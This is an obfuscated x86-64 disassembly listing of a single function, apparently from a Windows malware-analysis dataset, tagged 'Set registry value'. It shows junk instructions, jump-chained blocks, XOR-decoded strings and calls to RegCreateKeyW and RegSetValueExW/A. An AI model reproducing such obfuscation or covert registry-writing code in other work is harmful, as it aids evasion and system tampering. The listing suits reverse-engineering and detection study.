Function at 0x1400474a0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rsp - 0x40], ebp
push rbp
nop
mov qword [rsp - 8], rsi
jmp 0x140047774
mov dword [rsp - 0x34], ebp
cmp ecx, 0x23
jl 0x140047914
lea rax, [rsp + 0x50]
mov dword [rsp - 0x28], esi
jmp 0x1400474f7
pmuldq xmm1, xmm4
mov dword [rsp - 0x18], ebx
movdqa xmm0, xmm2
jmp 0x14004768e
mov eax, edx
mov dword [rsp - 0x10], ebp
shr eax, 0x16
shr eax, 9
add edx, eax
jmp 0x140047937
nop
movabs rdi, 0xffffffff1be753f5
xor rdi, 0x4f12b862
xor rdi, 0x1bda32ea
sub rdi, 0x4820c892
add rdi, 0x843148a
add rdi, 0x7fffffff
jmp 0x1400477e7
movaps xmmword [r11 - 0x78], xmm9
xchg r11, rax
mov rax, qword [0x1402567f0]
mov r15, r15
xor rax, rsp
mov qword [rbp + 0x30], rax
xchg rdx, r12
jmp 0x140047881
call fcn.140043540
mov dword [rsp - 0xc], 0x335ed695
xchg rsi, r8
mov r8, rax
jmp 0x1400479f1
movaps xmmword [rdx - 0x68], xmm8
xchg rdx, rax
xchg r11, rax
jmp 0x14004752a
mov rdx, rdx
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x24], edi
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
jmp 0x1400479d1
movd xmm6, r15d
movdqa xmm7, xmmword [str.4444]
movd xmm8, eax
mov rcx, rcx
movdqa xmm9, xmmword [0x1401193c0]
lea rdx, [rsp + 0x50]
jmp 0x140047714
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x80]
sub rsp, 0x423d3fe9
jmp 0x140047984
xor r14d, r14d
mov dword [rsp - 0x1c], 0x2d7f7097
mov ecx, r14d
jmp 0x140047760
mov dword [rsp - 0x24], esp
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x20
jl 0x140047714
jmp 0x1400478b6
movzx eax, cx
xchg r14, r14
sub ax, dx
add ax, 0x43dd
sub ax, 0x43ab
jmp 0x1400479e2
mov dword [rsp - 0x24], 0x5e2bf854
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x40], 0x4729243e
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140047972
sar r14, 1
jmp 0x140047a8c
movaps xmmword [r12 - 0x58], xmm7
xchg r12, rax
xchg rdx, rax
jmp 0x140047562
lea rax, [r15 + r8]
lea rcx, [rsp + 0x50]
mov rbp, rbp
jmp 0x14004766c
cmp rcx, rax
ja 0x140047a67
lea rax, [rsp + 0x50]
jmp 0x14004779f
xchg rdx, r9
xchg rbp, rax
mov rbp, rdx
xchg rbp, rax
jmp 0x140047964
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140047619
mov rdi, rdi
cmp r13d, 2
jl 0x1400478c2
movdqa xmm5, xmmword [0x140119390]
movdqa xmm4, xmmword [0x14011a9a0]
xchg rbp, rbp
jmp 0x140047594
sub dword [rbp - 0x14], 0x73b7f99a
lea rdx, [rbp + 0x10]
xchg rcx, r12
mov r12, rcx
xchg rcx, r12
jmp 0x140047744
mov rcx, qword [rsi + 0x10]
xchg rdx, r9
mov r9, qword [rsi + 0x18]
jmp 0x14004767f
sub eax, 0x9df21df
imul ecx
sar edx, 3
sar edx, 1
jmp 0x1400474e4
mov r15, rsi
mov r10, r10
cmp rdx, 8
jb 0x14004799d
jmp 0x14004799a
movd xmm2, ecx
pshufd xmm2, xmm2, 0
mov r12, r12
paddd xmm2, xmm5
movdqa xmm1, xmm2
jmp 0x1400479b2
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
xchg rdi, rdi
jmp 0x140047a0a
call fcn.1400af330
mov dword [rsp - 0x2c], edx
nop
lea rdx, [rbp - 0x60]
xchg rcx, r8
mov r8, r12
xchg rcx, r8
jmp 0x14004754a
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 4]
mov r13d, dword [0x1402567d0]
jmp 0x1400476a0
sub rsp, 8
push rdi
nop
push 0x4eb848c4
mov qword [rsp], r12
nop
jmp 0x140047a21
cmp rax, r15
mov dword [rsp - 0x20], 0x3b4a6a6d
jbe 0x140047a67
jmp 0x14004765b
xchg rbp, rbp
cmp r15, rax
jbe 0x140047a8c
lea rax, [rsp + 0x50]
mov r14, r15
xchg rdi, rdi
sub r14, rax
jmp 0x140047644
ja 0x140047b14
lea rax, [rcx + rdi]
xchg rcx, rax
mov qword [rsi + 0x10], rcx
xchg rcx, rax
jmp 0x1400476ff
xchg rsp, r9
movups xmm1, xmmword [0x14011a900]
xchg rbp, rcx
jmp 0x14004785e
add rdi, 0x70adda8b
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], r14w
mov dword [rsp - 0x38], edi
jne 0x1400477f2
jmp 0x1400476de
mov qword [rsp + 0x30], r11
xchg r11, rcx
mov dword [rbp - 0x18], 0x3617d33d
add dword [rbp - 0x18], 0x1d92639f
xor dword [rbp - 0x18], 0x440a1bfd
add dword [rbp - 0x18], 0x245ebb58
jmp 0x1400478db
movq xmm0, qword [rdx]
pxor xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
xchg rcx, rcx
movd xmm2, eax
jmp 0x140047946
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x30], ecx
psrad xmm1, xmm6
jmp 0x1400478fc
movups xmmword [rcx - 0x80], xmm1
xchg rbp, rcx
mov eax, dword [0x14011a910]
xchg rcx, rcx
mov dword [rbp - 0x70], eax
movzx eax, word [0x14011a914]
mov word [rbp - 0x6c], ax
jmp 0x1400475d7
mov rdx, r12
xchg rdx, r12
xchg rcx, r11
jmp 0x140047809
xchg rsp, rsi
movups xmm1, xmmword [0x14011a8e0]
mov dword [rsp - 0x10], esi
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14011a8f0]
xchg r9, rsp
movups xmmword [r9 + 0x70], xmm0
jmp 0x1400477d5
mov rdi, rdi
cmp ecx, 0x23
jge 0x1400474c4
movsxd rax, ecx
mov dword [rsp - 0x38], 0x2562e747
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
jmp 0x14004790e
add dword [rbp - 0x18], 0x16bfa664
add dword [rbp - 0x18], 0x166e2dba
xor dword [rbp - 0x18], 0x692cbc96
mov dword [rbp - 0x14], 0x37b2d496
jmp 0x140047a38
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140047570
nop word [rax + rax]
mov eax, 0x267d3112
sub eax, 0xef2795c
add eax, 0x3167c0f8
sub eax, 0x1c1298b9
sub eax, 0x255a07fd
add eax, 0x511e3636
jmp 0x1400476ee
mov dword [rsp - 0x30], edi
movzx eax, dx
imul edx, eax, 0x34
jmp 0x140047603
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x18], 0x533a96ce
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x1400474d2
sub rax, rcx
cmp rdi, rax
mov r8, r8
jmp 0x1400477be
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x30], edi
jmp 0x14004772d
add rsp, 0x423d3e69
xchg rcx, rax
movaps xmmword [rcx - 0x48], xmm6
xchg rcx, rax
xchg r12, rax
jmp 0x14004764c
mov r15, qword [rsi]
lea r8, [rcx + rcx]
xchg r12, r12
lea rax, [rsp + 0x50]
lea rax, [rax + rdi*2]
jmp 0x140047789
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x2c], edx
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x14004784d
movq xmm2, xmm9
paddw xmm3, xmm2
mov r8, r8
jmp 0x140047832
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
jmp 0x1400474b7
xchg rsi, r8
movups xmm0, xmmword [0x14011a8d0]
xchg r12, r12
xchg rsi, rsp
movups xmmword [rsi + 0x50], xmm0
jmp 0x14004788f
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
jmp 0x1400475ea
mov qword [rsp - 8], r13
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], r14
jmp 0x1400475bc
add dword [rbp - 0x14], 0x3447d551
xor dword [rbp - 0x14], 0x51cfb6d
sub dword [rbp - 0x14], 0x6b32c252
add dword [rbp - 0x14], 0x409fbabe
xor dword [rbp - 0x14], 0x741867be
add dword [rbp - 0x14], 0x436ccc55
jmp 0x1400476c5
xchg r14, r15
mov r15, rdi
xchg r14, r15
jmp 0x140047a8c
lea rbx, [r14 + r14]
xchg rbp, rbp
mov r8, rbx
lea rdx, [rsp + 0x50]
xchg r9, r15
jmp 0x140047ad7
lea rcx, [r15 + rdi*2]
mov dword [rsp - 0x10], edi
nop
sub r8, 0x55cd5c41
jmp 0x140047aa1
add r8, 0x55cd5c43
xchg r10, rdx
mov r10, r15
xchg rdx, r10
call fcn.1400ec010
jmp 0x140047a75
xchg rsi, rsi
lea rdx, [rsp + 0x50]
lea rdx, [rdx + rax*2]
call fcn.1400ec010
xchg rcx, rcx
xor r14d, r14d
jmp 0x140047b0b
mov rcx, r9
xchg r9, r15
call fcn.1400ec010
jmp 0x140047af6
sub r8, r14
add r8, r8
lea rax, [r14 + rdi]
jmp 0x140047abb
xchg rbp, rbp
lea rcx, [rbx + r15]
xchg rcx, r8
mov rcx, rdi
xchg rcx, r8
jmp 0x140047ae7
lea r15d, [r14 + 4]
jmp 0x140047b9f
xchg r14, rdi
mov qword [rsp + 0x28], r14
xchg r14, rdi
lea rax, [rsp + 0x50]
mov dword [rsp - 0x44], ecx
xchg r15, rax
mov qword [rsp + 0x20], r15
jmp 0x140047b65
movups xmm6, xmmword [rsp]
xchg rsp, rsi
xchg rdi, rbp
movups xmmword [rdi - 0x40], xmm6
jmp 0x140047b47
xchg rbp, rdi
xchg rsi, r13
movups xmm7, xmmword [r13 + 0x10]
xchg r13, rsi
xchg r11, rbp
movups xmmword [r11 - 0x30], xmm7
xchg r11, rbp
jmp 0x140047bf5
xchg r15, rax
xor r9d, r9d
xor r8d, r8d
xchg rdx, rbx
mov rbx, rdi
jmp 0x140047b89
cmp rbx, rax
je 0x140047c39
mov rcx, rbx
jmp 0x140047c20
xchg rbx, rdx
mov rcx, rsi
mov dword [rsp - 0x40], 0x47bac31f
call fcn.140042c40
mov rsi, rax
xchg rsi, rsp
jmp 0x140047b34
mov r14, qword [rsp + 0x30]
xchg rbx, r14
nop
sub rbx, 0x42e49b99
add rbx, 0x42e49ba1
lea rax, [rbp - 0x40]
mov dword [rsp - 0x30], ebx
jmp 0x140047b78
sub qword [rsi + 0x18], 0x536927bd
add qword [rsi + 0x18], 0x2e6b9db3
sub qword [rsi + 0x18], 0x1ba8b79b
add qword [rsi + 0x18], 0x3eeaa2bc
jmp 0x140047c0c
jmp 0x140047dc8
xchg r14, rdi
mov qword [rsi + 0x10], rdi
xchg r14, rdi
mov qword [rsi + 0x18], 0x7cdcf193
jmp 0x140047bcb
sub qword [rsi + 0x18], 0x7b2152a3
mov word [rsi], r14w
xchg r14, rbx
jmp 0x140047ba7
call fcn.140044190
mov dword [rsp - 0x30], 0x255df90a
movups xmmword [rbx], xmm6
movups xmmword [rbx + 0x10], xmm7
jmp 0x140047bf0
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
mov dword [rsp - 0x40], 0x265de11
jb 0x140047dc8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
xchg r10, rax
jmp 0x140047d36
xor ebx, 0x1f1a0d62
xor ebx, 0x6e0a5f43
add ebx, 0x7b6dbdd4
jmp 0x14004861a
cmp qword [rbx + 0x18], 8
jb 0x140047cc1
mov dword [rsp - 0x34], ebp
jmp 0x140047cbe
cmp rax, 0x1f
xchg r12, r12
ja 0x140048792
call fcn.1400e9e50
jmp 0x140047c79
jb 0x140047d5a
nop
add rdx, 0x42e05f42
sub rdx, 0x42e05f1b
jmp 0x140047de6
mov rbx, qword [rbx]
lea r8, [rbp - 0x20]
xchg r14, rdx
mov r14, rbx
xchg r14, rdx
nop
jmp 0x140047d65
xor rcx, 0x29545d11
add rcx, 0x4ee9f9b2
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
jmp 0x140047da3
mov rcx, qword [rbp - 0x60]
xchg r9, rcx
mov rax, r9
xchg rcx, r9
jmp 0x140047d23
sub rdx, 0x6b2d9766
add rdx, 0x6b2d978d
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
jmp 0x140047c8d
cmp rdx, 0x1000
jb 0x140047c9a
nop
jmp 0x140047cff
mov r10, rcx
xchg r10, rax
cmp rdx, 0x1000
jmp 0x140047ca4
add rax, 0xffffffff9d5a752a
cmp rax, 0x1f
mov r14, r14
ja 0x14004878c
call fcn.1400e9e50
nop
jmp 0x140047dc4
movabs rcx, 0xffffffff79aa168c
sub rcx, 0x5ac8f7b1
add rcx, 0x6ec92dd
jmp 0x140047d82
xor rcx, 0x2a71df75
xor rcx, 0x51195515
xor rcx, 0x736d6ea2
sub rcx, 0x1585fa39
jmp 0x140047cd4
test eax, eax
mov r14, r14
je 0x140047dfc
mov ebx, 0x24db0a08
add ebx, 0x46ad3077
xor ebx, 0x5e0a2d48
jmp 0x140047c62
mov dword [rsp - 0x44], ebp
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140047c79
lea rdx, [rdx*2 + 2]
xchg rbp, rbp
jmp 0x140047ced
mov rcx, qword [rcx - 8]
xchg rbx, rbx
sub rax, rcx
nop
sub rax, 0xffffffff9d5a7532
jmp 0x140047d47
lea rdx, [rbp - 0x60]
mov rcx, r12
mov dword [rsp - 0x38], 0x64e78d74
call fcn.140043540
nop
xor r8d, r8d
jmp 0x140048180
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14011a958]
mov dword [rsp + 0x38], eax
mov r9, r9
cmp word [0x14011a95a], 0
je 0x140047e3f
jmp 0x1400480ad
mov dword [rsp + 0x28], r15d
xchg r13, r13
lea rax, [rbp - 0x14]
xchg rdx, rax
jmp 0x140047e92
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
xchg rsp, rsp
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140047f4c
mov r9d, 0x7b9773c2
xor r9d, 0x2bb418ca
add r9d, 0xf8b0402
jmp 0x1400484f1
mov qword [rsp + 0x20], rdx
xchg rdx, rax
mov r9d, r15d
xor r8d, r8d
mov r10, r10
lea rdx, [rsp + 0x30]
xchg r13, rcx
jmp 0x1400481c9
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov dword [rsp - 0x38], ebx
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x30]
jmp 0x1400484c7
neg al
xor byte [r10], al
mov dword [rsp - 0x28], 0x7d845975
inc r8d
jmp 0x14004841f
mov rdx, rdx
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
neg al
add al, 0xce
jmp 0x140047ecc
test eax, eax
jne 0x14004851e
mov eax, dword [rbp + 0x20]
mov dword [rsp - 0x2c], ebx
lea edx, [rax + rax]
jmp 0x140047ff8
xor ax, 0x36
xchg rbp, rbp
mov word [rsp + 0x38], ax
mov dword [rsp + 0x28], r15d
jmp 0x140047eaf
xchg rsi, rsi
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
mov r14, r14
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
jmp 0x140047e3f
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0xc], esi
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
jmp 0x140047f87
movdqa xmm0, xmm3
mov r15, r15
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x34], edx
psrad xmm1, xmm6
jmp 0x14004816c
paddb xmm2, xmmword [str.2222222222222222]
mov rdi, rdi
movd xmm0, dword [str.vZGEZVAw_VY]
pxor xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140048454
cmp word [0x14011a93a], 0
je 0x14004849c
mov rsi, rsi
mov eax, 0x1e4d4399
add eax, 0x556d619c
xor eax, 0x7426e8dc
xor eax, 0x23bf083d
jmp 0x1400483a8
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
mov dword [rsp - 0x24], 0x75ee4297
xor word [rsp + 0x3c], 0x38
jmp 0x140048486
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
mov rdi, rdi
jmp 0x1400481db
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg r11, r11
nop
sub rax, 0xffffffffa8b7de6f
add rax, 0xffffffffa8b7de67
cmp rax, 0x1f
jmp 0x1400482e6
sub ecx, 0x4487e9fc
add ecx, 0x4f2ccf86
sub ecx, 0x647ec8b3
mov word [rsp + 0x30], cx
mov rcx, rcx
jmp 0x140048378
shr eax, 0xc
shr eax, 0xa
shr eax, 8
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x140047ee1
movdqa xmm4, xmmword [0x14011a9a0]
mov dword [rsp - 0x14], 0x4f27554b
movd xmm6, r15d
jmp 0x1400481a0
sar edx, 1
sar edx, 1
mov eax, edx
mov dword [rsp - 0x34], edx
jmp 0x140048048
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14004851e
mov dword [rsp - 0x38], 0x73a15d4d
movsd xmm0, qword [str.fJDP6]
jmp 0x140048144
mov eax, 0x3e218690
add eax, 0xf3edb10
xor eax, 0x1c1e8920
jmp 0x1400484ae
punpckldq xmm1, xmm2
mov r8, r8
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xchg rdi, rdi
pmuldq xmm0, xmm4
jmp 0x140048234
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
jmp 0x1400486d5
pxor xmm2, xmm0
mov dword [rsp - 0x10], esp
movd dword [rsp + 0x34], xmm2
jmp 0x140048310
sub r9d, 0x42780718
xor r9d, 0x43eedc75
sub r9d, 0x42a87b79
sub r9d, 0x1b845d58
xor r8d, r8d
xchg rsp, rsp
jmp 0x140048438
mov dword [rsp + 0x28], eax
xchg r8, r11
mov qword [rsp + 0x20], r8
xchg r8, r11
mov r9d, 0x3de59efa
jmp 0x140048263
xchg rsp, rdi
movsd qword [rdi + 0x30], xmm0
xchg rdi, rsp
movzx eax, word [0x14011a948]
mov ecx, 0x13d9731
add ecx, 0x56678dd7
xor ecx, 0xe7cc675
jmp 0x140048029
movdqa xmm0, xmm1
psrld xmm0, xmm5
xchg r8, r8
paddd xmm0, xmm1
jmp 0x14004834f
xchg rdx, rcx
mov rcx, rax
xchg rdx, rcx
lea rcx, [rbp - 0x10]
mov dword [rsp - 0x14], 0x6eb95b4d
call fcn.1400b67b0
nop
jmp 0x1400481b9
mov eax, 0x4a4d761c
add eax, 0x502ceba
sub eax, 0x16a86f8f
add eax, 0x8e65d4b
jmp 0x1400483eb
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
mov rdi, rdi
jmp 0x140048330
mov r13, qword [rbp - 0x20]
xchg r13, rcx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x14004838f
cmovae rcx, qword [rbp + 0x10]
movups xmm0, xmmword [str.URSgYMR_]
movups xmmword [rsp + 0x30], xmm0
jmp 0x14004840d
pand xmm2, xmmword [0x1401193d0]
xchg rbx, rbx
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, dword [rsp + 0x34]
jmp 0x1400480f0
xor r8d, 0x41dae2e1
xor r8d, 0x7dbd22
mov eax, r8d
lea r10, [rsp + 0x30]
add r10, rax
mov rdx, rdx
jmp 0x14004829c
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x38], ebx
jmp 0x140047e52
mov dword [rsp + 0x38], eax
mov dword [rsp - 0x3c], esi
cmp byte [0x14011a923], 0
je 0x140048430
jmp 0x1400483d1
add r9d, 0x277fd096
sub r9d, 0x5c8b8a76
add r9d, 0x576026a5
jmp 0x140048103
movsd xmm0, qword [str.vZGEZVAw_VY]
xchg rsp, r10
movsd qword [r10 + 0x30], xmm0
xchg rsp, r10
mov eax, dword [0x14011a920]
jmp 0x140048249
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3340d089
add eax, 0xfdbf40d
sub eax, 0x2ae4074e
add eax, 0x19936d97
add eax, 0x331cf0c5
jmp 0x140048471
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x1400482f4
xchg r14, r14
add rdx, 0x27
jmp 0x140048009
ja 0x1400487a0
mov dword [rsp - 0x30], 0x2ac6fec9
call fcn.1400e9e50
lea r11, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r11, qword [rbp - 0x10]
mov dword [rsp - 0x34], esi
jmp 0x14004827d
mov r8d, 0x156eb267
xor r8d, 0x54253ec3
sub r8d, 0x4121c09d
xor r8d, 0x418e93cc
jmp 0x140048213
jb 0x1400482f9
lea rdx, [rdx*2 + 2]
xchg rsp, rcx
mov rsp, qword [rbp - 0x60]
xchg rcx, rsp
xchg rcx, rax
jmp 0x1400482c8
pmulld xmm0, xmmword [str.4444]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov dword [rsp - 0x2c], 0x79724b1f
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x1400481f1
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
jmp 0x140047f0d
mov dword [rsp - 0x28], edx
test eax, eax
jne 0x14004851e
mov rcx, qword [rbp - 0x20]
mov dword [rsp - 0x38], ecx
jmp 0x1400480e2
add eax, 0x89bbdb3
sub eax, 0xd85c836
sub eax, 0x1f393b08
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
mov dword [rsp - 0x18], ebx
jmp 0x140047fd3
mov r8d, r14d
mov dword [rsp - 0x10], 0x3d64a7a4
cmp r13d, 2
jl 0x140048221
jmp 0x14004805d
xor eax, 0x4e1c76ac
xor eax, 0xf924421
movd xmm5, eax
mov rsi, rsi
movdqa xmm2, xmmword [0x140119390]
movdqa xmm1, xmm2
jmp 0x1400480c1
mov eax, dword [0x14011a938]
xchg r13, r13
mov dword [rsp + 0x40], eax
jmp 0x140047fa9
lea r10, [r10 + 1]
cmp r8d, 0xc
jl 0x1400482aa
xchg rbp, rbp
mov eax, dword [rbp]
jmp 0x14004812a
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp - 0x44], 0x571e5ef1
jmp 0x140047ef6
movdqa xmm3, xmmword [0x1401193a0]
mov rdx, rdx
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140047f66
xor eax, 0x2a2df7eb
imul r8d
mov dword [rsp - 0x1c], ebp
sar edx, 1
sar edx, 1
jmp 0x140048077
xor word [rsp + 0x3e], 0x39
xor word [rsp + 0x40], 0x3a
mov dword [rsp - 0x44], edx
xor word [rsp + 0x42], 0x3b
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rcx
mov dword [rsp - 0x2c], esi
jmp 0x140047e79
sub eax, 0x314eab1d
add eax, 0xe95e8e2
sub eax, 0x2ec625f2
mov word [rsp + 0x30], ax
jmp 0x140047f23
mov rcx, qword [rbp - 0x20]
mov rsp, rsp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14004851e
movsd xmm0, qword [str.aGUGB7]
mov dword [rsp - 0x38], 0x4a99cd3d
jmp 0x140047e19
xor r9d, 0x2e9b2987
add r9d, 0x3e2cb78
sub r9d, 0x1e552dd2
xor r9d, 0x56c2e431
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x10], ecx
jmp 0x140048086
mov ebx, 0x61b628c7
sub ebx, 0x45ce2f13
xor ebx, 0x29d441d9
sub ebx, 0x111b1572
xor ebx, 0x24329b85
jmp 0x1400486c9
sub qword [rbp + 8], 0x4e3002eb
mov byte [rbp - 0x10], socket
add byte [rbp - 0x10], 0x1e
xor byte [rbp - 0x10], 0x40
xor byte [rbp - 0x10], 0x69
add byte [rbp - 0x10], 0x58
sub byte [rbp - 0x10], 0xf
jmp 0x140048616
xor qword [rbp + 8], 0x3a5937b0
sub qword [rbp + 8], 0x1012922
xor qword [rbp + 8], 0x13e45766
jmp 0x140048540
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jmp 0x14004871b
add rdx, 0x6648fe36
mov rcx, qword [rcx - 8]
mov r8, r8
jmp 0x1400485a8
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
mov r9, r9
jmp 0x140048633
cmp rdx, 0x10
jb 0x14004865d
mov rbx, rbx
inc rdx
xchg rcx, rbx
mov rbx, qword [rbp - 0x10]
xchg rbx, rcx
jmp 0x140048732
xchg r14, r12
mov qword [rbp + 8], 0x3262abbf
add qword [rbp + 8], 0x1acefa53
sub qword [rbp + 8], 0x2f0c1c98
add qword [rbp + 8], 0x4666bf94
jmp 0x140048565
add rsp, 8
pop rdi
nop
mov rsi, qword [rsp]
add rsp, 8
nop
jmp 0x140048754
xor byte [rbp - 0x10], 0x64
xchg rdx, rsi
mov rsi, qword [rbp + 0x28]
xchg rdx, rsi
cmp rdx, 8
jb 0x14004863e
jmp 0x1400486e4
ja 0x140048782
call fcn.1400e9e50
mov eax, ebx
mov rcx, qword [rbp + 0x30]
mov dword [rsp - 0x30], ebp
xor rcx, rsp
jmp 0x14004876d
call fcn.1400e9e50
mov dword [rsp - 0x2c], 0x426f3124
xchg r14, r12
mov qword [rbp], r12
jmp 0x1400485da
xchg rdi, r11
xchg r11, rbp
movaps xmm8, xmmword [rbp - 0x30]
xchg r11, rbp
xchg r15, r11
jmp 0x140048698
mov r14, qword [rsp - 8]
nop
add rsp, 8
mov r13, qword [rsp - 8]
nop
mov r12, qword [rsp]
jmp 0x140048602
movaps xmm9, xmmword [r15 - 0x40]
xchg r11, r15
xchg r11, rsp
mov r11, rsp
xchg rsp, r11
jmp 0x14004875d
mov rbx, qword [r11 + 0x50]
xchg r8, r11
movaps xmm6, xmmword [r8 - 0x10]
xchg r8, r11
xchg r11, rdi
movaps xmm7, xmmword [rdi - 0x20]
jmp 0x140048669
add ebx, 0x27372dc0
add ebx, 0x939e9a0f
xchg r9, rdx
mov r9, qword [rbp + 8]
xchg r9, rdx
jmp 0x1400485bb
mov dword [rsp - 0x28], 0x39725835
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
jmp 0x140048582
mov rcx, qword [rcx - 8]
sub rax, rcx
mov dword [rsp - 0x14], edi
sub rax, 8
cmp rax, 0x1f
ja 0x1400487a6
jmp 0x140048650
mov dword [rsp - 0x24], esi
jb 0x140048639
nop
sub rdx, 0x6648fe0f
jmp 0x140048595
mov rax, rcx
cmp rdx, 0x1000
mov rsp, rsp
jb 0x140048650
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
jmp 0x1400486fd
mov rbp, qword [rsp]
add rsp, 8
ret
pop r15
mov dword [rsp - 0x44], edi
nop
add rsp, 8
jmp 0x14004867f
call fcn.1400e9f70
lea r11, [rsp + 0x180]
xchg rcx, rcx
jmp 0x1400486ae
call fcn.1400f0b0c
nop
mov dword [rsp - 0x20], edi
call fcn.1400f0b0c
nop
call fcn.1400f0b0c
jmp 0x14004879c
int3
call fcn.1400f0b0c
int3
call fcn.1400f0b0c
int3